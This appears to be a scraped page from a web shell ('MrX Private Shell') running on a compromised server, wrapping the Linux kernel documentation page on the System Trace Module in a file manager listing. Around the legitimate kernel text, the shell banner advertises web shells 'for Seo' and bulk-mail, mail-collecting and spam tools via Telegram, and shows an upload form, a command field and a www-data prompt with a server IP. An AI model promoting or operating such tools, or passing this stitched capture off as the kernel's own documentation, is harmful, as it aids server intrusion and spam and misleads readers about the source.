__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.7: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>System Trace Module &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="MIPI SyS-T over STP" href="sys-t.html" />
    <link rel="prev" title="Intel(R) Trace Hub (TH)" href="intel_th.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="index.html">Tracing</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="index.html#introduction-to-tracing">Introduction to Tracing</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#core-tracing-frameworks">Core Tracing Frameworks</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#event-tracing-and-analysis">Event Tracing and Analysis</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html#hardware-and-performance-tracing">Hardware and Performance Tracing</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="intel_th.html">Intel(R) Trace Hub (TH)</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">System Trace Module</a></li>
<li class="toctree-l3"><a class="reference internal" href="sys-t.html">MIPI SyS-T over STP</a></li>
<li class="toctree-l3"><a class="reference internal" href="coresight/index.html">CoreSight - ARM Hardware Trace</a></li>
<li class="toctree-l3"><a class="reference internal" href="rv/index.html">Runtime Verification</a></li>
<li class="toctree-l3"><a class="reference internal" href="hisi-ptt.html">HiSilicon PCIe Tune and Trace device</a></li>
<li class="toctree-l3"><a class="reference internal" href="mmiotrace.html">In-kernel memory-mapped I/O tracing</a></li>
<li class="toctree-l3"><a class="reference internal" href="hwlat_detector.html">Hardware Latency Detector</a></li>
<li class="toctree-l3"><a class="reference internal" href="osnoise-tracer.html">OSNOISE Tracer</a></li>
<li class="toctree-l3"><a class="reference internal" href="timerlat-tracer.html">Timerlat tracer</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="index.html#user-space-tracing">User-Space Tracing</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#additional-resources">Additional Resources</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/trace/stm.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="system-trace-module">
<h1>System Trace Module<a class="headerlink" href="#system-trace-module" title="Link to this heading">¶</a></h1>
<p>System Trace Module (STM) is a device described in MIPI STP specs as
STP trace stream generator. STP (System Trace Protocol) is a trace
protocol multiplexing data from multiple trace sources, each one of
which is assigned a unique pair of master and channel. While some of
these masters and channels are statically allocated to certain
hardware trace sources, others are available to software. Software
trace sources are usually free to pick for themselves any
master/channel combination from this pool.</p>
<p>On the receiving end of this STP stream (the decoder side), trace
sources can only be identified by master/channel combination, so in
order for the decoder to be able to make sense of the trace that
involves multiple trace sources, it needs to be able to map those
master/channel pairs to the trace sources that it understands.</p>
<p>For instance, it is helpful to know that syslog messages come on
master 7 channel 15, while arbitrary user applications can use masters
48 to 63 and channels 0 to 127.</p>
<p>To solve this mapping problem, stm class provides a policy management
mechanism via configfs, that allows defining rules that map string
identifiers to ranges of masters and channels. If these rules (policy)
are consistent with what decoder expects, it will be able to properly
process the trace data.</p>
<p>This policy is a tree structure containing rules (policy_node) that
have a name (string identifier) and a range of masters and channels
associated with it, located in “stp-policy” subsystem directory in
configfs. The topmost directory’s name (the policy) is formatted as
the STM device name to which this policy applies and an arbitrary
string identifier separated by a stop. From the example above, a rule
may look like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ ls /config/stp-policy/dummy_stm.my-policy/user
channels masters
$ cat /config/stp-policy/dummy_stm.my-policy/user/masters
48 63
$ cat /config/stp-policy/dummy_stm.my-policy/user/channels
0 127
</pre></div>
</div>
<p>which means that the master allocation pool for this rule consists of
masters 48 through 63 and channel allocation pool has channels 0
through 127 in it. Now, any producer (trace source) identifying itself
with “user” identification string will be allocated a master and
channel from within these ranges.</p>
<p>These rules can be nested, for example, one can define a rule “dummy”
under “user” directory from the example above and this new rule will
be used for trace sources with the id string of “user/dummy”.</p>
<p>Trace sources have to open the stm class device’s node and write their
trace data into its file descriptor.</p>
<p>In order to find an appropriate policy node for a given trace source,
several mechanisms can be used. First, a trace source can explicitly
identify itself by calling an STP_POLICY_ID_SET ioctl on the character
device’s file descriptor, providing their id string, before they write
any data there. Secondly, if they chose not to perform the explicit
identification (because you may not want to patch existing software
to do this), they can just start writing the data, at which point the
stm core will try to find a policy node with the name matching the
task’s name (e.g., “syslogd”) and if one exists, it will be used.
Thirdly, if the task name can’t be found among the policy nodes, the
catch-all entry “default” will be used, if it exists. This entry also
needs to be created and configured by the system administrator or
whatever tools are taking care of the policy configuration. Finally,
if all the above steps failed, the write() to an stm file descriptor
will return a error (EINVAL).</p>
<p>Previously, if no policy nodes were found for a trace source, the stm
class would silently fall back to allocating the first available
contiguous range of master/channels from the beginning of the device’s
master/channel range. The new requirement for a policy node to exist
will help programmers and sysadmins identify gaps in configuration
and have better control over the un-identified sources.</p>
<p>Some STM devices may allow direct mapping of the channel mmio regions
to userspace for zero-copy writing. One mappable page (in terms of
mmu) will usually contain multiple channels’ mmios, so the user will
need to allocate that many channels to themselves (via the
aforementioned ioctl() call) to be able to do this. That is, if your
stm device’s channel mmio region is 64 bytes and hardware page size is
4096 bytes, after a successful STP_POLICY_ID_SET ioctl() call with
width==64, you should be able to mmap() one page on this file
descriptor and obtain direct access to an mmio region for 64 channels.</p>
<p>Examples of STM devices are Intel(R) Trace Hub [1] and Coresight STM
[2].</p>
<section id="stm-source">
<h2>stm_source<a class="headerlink" href="#stm-source" title="Link to this heading">¶</a></h2>
<p>For kernel-based trace sources, there is “stm_source” device
class. Devices of this class can be connected and disconnected to/from
stm devices at runtime via a sysfs attribute called “stm_source_link”
by writing the name of the desired stm device there, for example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ echo dummy_stm.0 &gt; /sys/class/stm_source/console/stm_source_link
</pre></div>
</div>
<p>For examples on how to use stm_source interface in the kernel, refer
to stm_console, stm_heartbeat or stm_ftrace drivers.</p>
<p>Each stm_source device will need to assume a master and a range of
channels, depending on how many channels it requires. These are
allocated for the device according to the policy configuration. If
there’s a node in the root of the policy directory that matches the
stm_source device’s name (for example, “console”), this node will be
used to allocate master and channel numbers. If there’s no such policy
node, the stm core will use the catch-all entry “default”, if one
exists. If neither policy nodes exist, the write() to stm_source_link
will return an error.</p>
</section>
<section id="stm-console">
<h2>stm_console<a class="headerlink" href="#stm-console" title="Link to this heading">¶</a></h2>
<p>One implementation of this interface also used in the example above is
the “stm_console” driver, which basically provides a one-way console
for kernel messages over an stm device.</p>
<p>To configure the master/channel pair that will be assigned to this
console in the STP stream, create a “console” policy entry (see the
beginning of this text on how to do that). When initialized, it will
consume one channel.</p>
</section>
<section id="stm-ftrace">
<h2>stm_ftrace<a class="headerlink" href="#stm-ftrace" title="Link to this heading">¶</a></h2>
<p>This is another “stm_source” device, once the stm_ftrace has been
linked with an stm device, and if “function” tracer is enabled,
function address and parent function address which Ftrace subsystem
would store into ring buffer will be exported via the stm device at
the same time.</p>
<p>Currently only Ftrace “function” tracer is supported.</p>
<ul class="simple">
<li><p>[1] <a class="reference external" href="https://software.intel.com/sites/default/files/managed/d3/3c/intel-th-developer-manual.pdf">https://software.intel.com/sites/default/files/managed/d3/3c/intel-th-developer-manual.pdf</a></p></li>
<li><p>[2] <a class="reference external" href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0444b/index.html">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0444b/index.html</a></p></li>
</ul>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/trace/stm.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
coresight Folder 0755
rv Folder 0755
boottime-trace.html File 22.77 KB 0644
debugging.html File 17.96 KB 0644
eprobetrace.html File 23.59 KB 0644
events-kmem.html File 15.16 KB 0644
events-msr.html File 9.47 KB 0644
events-nmi.html File 10.58 KB 0644
events-pci.html File 12.31 KB 0644
events-power.html File 13.51 KB 0644
events.html File 70.9 KB 0644
fprobe.html File 40.34 KB 0644
fprobetrace.html File 27.48 KB 0644
ftrace-design.html File 31.46 KB 0644
ftrace-uses.html File 31.89 KB 0644
ftrace.html File 176.23 KB 0644
hisi-ptt.html File 23.5 KB 0644
histogram-design.html File 107.31 KB 0644
histogram.html File 176.79 KB 0644
hwlat_detector.html File 13.27 KB 0644
index.html File 17.05 KB 0644
intel_th.html File 16.59 KB 0644
kprobes.html File 51.74 KB 0644
kprobetrace.html File 24.5 KB 0644
mmiotrace.html File 17.85 KB 0644
osnoise-tracer.html File 19.54 KB 0644
ring-buffer-design.html File 46.01 KB 0644
ring-buffer-map.html File 21.09 KB 0644
stm.html File 15.98 KB 0644
sys-t.html File 10.92 KB 0644
timerlat-tracer.html File 21.54 KB 0644
tracepoint-analysis.html File 23.94 KB 0644
tracepoints.html File 17.34 KB 0644
uprobetracer.html File 17.29 KB 0644
user_events.html File 23.12 KB 0644
Filemanager